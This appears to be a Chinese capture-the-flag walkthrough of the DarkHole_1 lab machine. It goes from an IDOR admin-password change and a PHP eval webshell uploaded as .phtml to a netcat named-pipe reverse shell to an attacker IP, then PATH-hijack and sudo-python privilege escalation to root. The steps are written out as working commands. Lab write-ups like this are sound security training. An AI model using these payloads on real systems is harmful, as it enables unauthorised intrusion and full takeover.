DarkHole_1攻略
主机发现
┌──(root💀kali)-[~]
└─# nmap -sP 192.168.8.0/24
目标靶机为192.168.8.134
全面端口扫描
┌──(root💀kali)-[~]
└─# nmap -A 192.168.8.134
22ssh和80http
访问80
发现登录页面
但是我们并不知道用户名密码
越权
点击sign up now 去注册用户
登录后发现存在改密码选项,抓包查看
发现其id为2,可推测id为1的应该是默认的管理员
推测数据库中id为1的应该是管理员
修改id为1
根据页面回显可知密码修改完成 , 密码123
bp爆破管理员账密
bp抓登陆包送到intruder模块爆破
admin为账号 1234为密码
登录后台
发现存在upload页面
文件上传
先上传一个php一句话木马试水,抓包发送到repeater模块
<?php
phpinfo();
@eval($_POST['123']);
?>
发现失败文件类型限制为jpg,png,gif
上传png图片,抓包
上传成功
并知上传文件路径为根下upload目录
修改后缀名绕过
php语言除了可以解析以php为后缀的文件,还可以解析php2,php3、php4、php5,phtml
修改后缀为phtml
上传成功
探针执行成功,一句话木马也可执行
蚁剑连接
反弹shell
kali监听端口
nc -lvp 8888
蚁剑打开终端
mknod backpipe p && nc 192.168.8.131 8888 0<backpipe | /bin/bash 1>backpipe
由于靶机nc版本问题无法使用-e选项
python调交互bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
提权
www-data@darkhole:/var/www$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
darkhole:x:1000:1000:john:/home/darkhole:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
john:x:1001:1001:,,,:/home/john:/bin/bash
www-data@darkhole:/var/www$
发现admin 和john用户
提权到john用户
进入john家目录
www-data@darkhole:/var/www/html/upload$ cd /home
cd /home
www-data@darkhole:/home$ ls -l
ls -l
total 8
drwxr-xr-x 4 darkhole darkhole 4096 Jul 17 21:07 darkhole
drwxrwxrwx 5 john john 4096 Jul 17 22:16 john
www-data@darkhole:/home$
发现john家目录有777权限
www-data@darkhole:/home$ cd john
www-data@darkhole:/home$ ls -al
进入john家目录,查看所有文件
发现.ssh与toto对我们目前www用户有权限
虽然.ssh很诱人但是由于配置原因无法实现免密登录
关注toto
toto有执行权限尝试执行
www-data@darkhole:/home/john$ ./toto
./toto
uid=1001(john) gid=33(www-data) groups=33(www-data)
www-data@darkhole:/home/john$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@darkhole:/home/john$
发现toto执行了id命令
编辑一个本地的id命令,由于tmp目录www用户有权限所以写入其中,并给予777权限
www-data@darkhole:/home/john$ echo 'bin/bash' >> /tmp/id
echo '/bin/bash' >> /tmp/id
www-data@darkhole:/home/john$ chmod +777 /tmp/id
chmod +777 /tmp/id
把刚刚写好的id添加到本地bash的环境变量中本地的bash
由于PATH会按照顺序匹配,后写的PATH在旧的PATH之前,因此会优先执行我们写的id命令
www-data@darkhole:/home/john$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
运行toto
www-data@darkhole:/home/john$ ./toto
查看user.txt拿到第一面flag
john@darkhole:/home/john$ cat user.txt
cat user.txt
DarkHole{You_Can_DO_It}
拿到john密码
john@darkhole:/home/john$ cat password
root123
提权至root
john@darkhole:/home/john$ sudo -l
sudo -l
[sudo] password for john: root123
Matching Defaults entries for john on darkhole:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on darkhole:
(root) /usr/bin/python3 /home/john/file.py
john@darkhole:/home/john$
发现john可以使用root身份执行file.py
john@darkhole:/home/john$ sudo python3 /home/john/file.py 注意写绝对路径
sudo python3 file.py
john@darkhole:/home/john$ cat file.py
cat file.py
john@darkhole:/home/john$
但是file.py啥也没有
好在file.py我们有写权限
写入python调bash代码
john@darkhole:/home/john$ echo 'import pty; pty.spawn("/bin/bash")' >file.py
echo 'import pty; pty.spawn("/bin/bash")' >file.py
执行file.py
john@darkhole:/home/john$ sudo /usr/bin/python3 /home/john/file.py
sudo python3 /home/john/file.py
root@darkhole:/home/john# id
id
uid=0(root) gid=0(root) groups=0(root)
root@darkhole:/home/john#
发现成功提权
拿到flag
|